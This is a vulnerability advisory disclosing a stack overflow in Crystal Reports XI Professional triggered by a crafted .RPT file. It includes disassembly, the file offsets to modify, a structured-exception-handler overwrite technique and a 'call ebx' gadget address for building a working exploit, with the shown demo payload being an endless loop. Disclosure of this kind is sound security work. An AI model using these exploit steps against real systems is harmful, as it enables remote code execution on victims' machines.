LS-20061102

Business Objects Crystal Reports XI Professional Stack Overflow Vulnerability

Release Date:
01/04/2007

Date Reported:
11/25/2006

Severity:
High (Interactive Remote Code Execution)

Vendor:
Business Objects

Product:
A world standard for enterprise reporting, Crystal Reports is an intuitive reporting solution that helps customers rapidly create flexible, feature-rich, high-fidelity reports and tightly integrate them into web and windows applications.

http://www.businessobjects.com/products/reporting/crystalreports/professional/default.asp

Systems Affected:
-Crystal Reports XI Professional (*v11.0.0.1994)*

Overview:
LSsec has discovered a vulnerability in Business Objects Crystal Reports XI Professional, which could be exploited by an attacker in order to execute arbitrary code on an affected system. Exploitation requires that the attacker coerce the target user into opening a malicious .RPT file.

Vulnerability Details:

Note: The following offsets refer to CrystalReportsModified.rpt [1]

If the BYTE at offset 0xA18 (2584 decimal) contains a value $\geqslant$ 0xf (15 decimal) a stack overflow occurs during processing of data embedded in the .RPT file. We are able to overwrite n bytes of stack data with content of the .RPT file starting at offset 0xADE (2782 decimal). n is at offset 0x378 (888 decimal) and passed to the following subroutine as the 3rd parameter.

OLE32.dll

```
int __stdcall sub_77A6F301(int,LPVOID lpBuffer,DWORD nNumberOfBytesToRead,LPDWORD lpNumberOfBytesRead)

.text:77A6F358                  mov     ebx, [ebp+nNumberOfBytesToRead]
…
.text:77A6F377                  mov     ecx, ebx            ;n
.text:77A6F379                  mov     esi, [esi+5Ch]      ;src
.text:77A6F37C                  add     esi, edi            ;offset 0xADE
.text:77A6F37E                  mov     edi, [ebp+lpBuffer] ;dst
.text:77A6F381                  mov     eax, ecx
.text:77A6F383                  shr     ecx, 2
.text:77A6F386                  rep movsd
```

The program continues execution of code until invalid stack data is referenced. It then tries to handle the exception by calling a registered Structured Exception Handler.

Exploitation:

System: Windows 2000 SP4, *Crystal Reports v11.0.0.1994*

To successfully exploit this vulnerability we overwrite a SEH pointer on the stack by modifying the content of the .RPT file at the following offsets:

```
                    Original                    Modified

0xA18 (2584 decimal): 0x01                    → 0x0f
0xE62 (3682 decimal): 0x00, 0x00, 0x00, 0x00 → 0xEB, 0x06, 0x00, 0x00 ;jmp + 6
0xE66 (3686 decimal): 0x00, 0x00, 0x00, 0x00 → 0xXX, 0xXX, 0xXX, 0xXX ;call ebx
0xE6A (3690 decimal): 0x00, 0x00, 0x00, 0x00 → shellcode              ;jmp - 6
```

Optional:

```
0x378 (888 decimal ): 0x5D, 0x8D              → 0xXX, 0xXX             ;n
```

CrystalReportsModified.rpt replaces the SEH pointer on the stack with an address pointing to a "call ebx" instruction (0x321A1331 in u2l2000.dll v11.0.0.893). To demonstrate execution of arbitrary code, execution flow is redirected into an endless loop.

References:

[1] http://www.lssec.com/exploits/LS-20061102.rar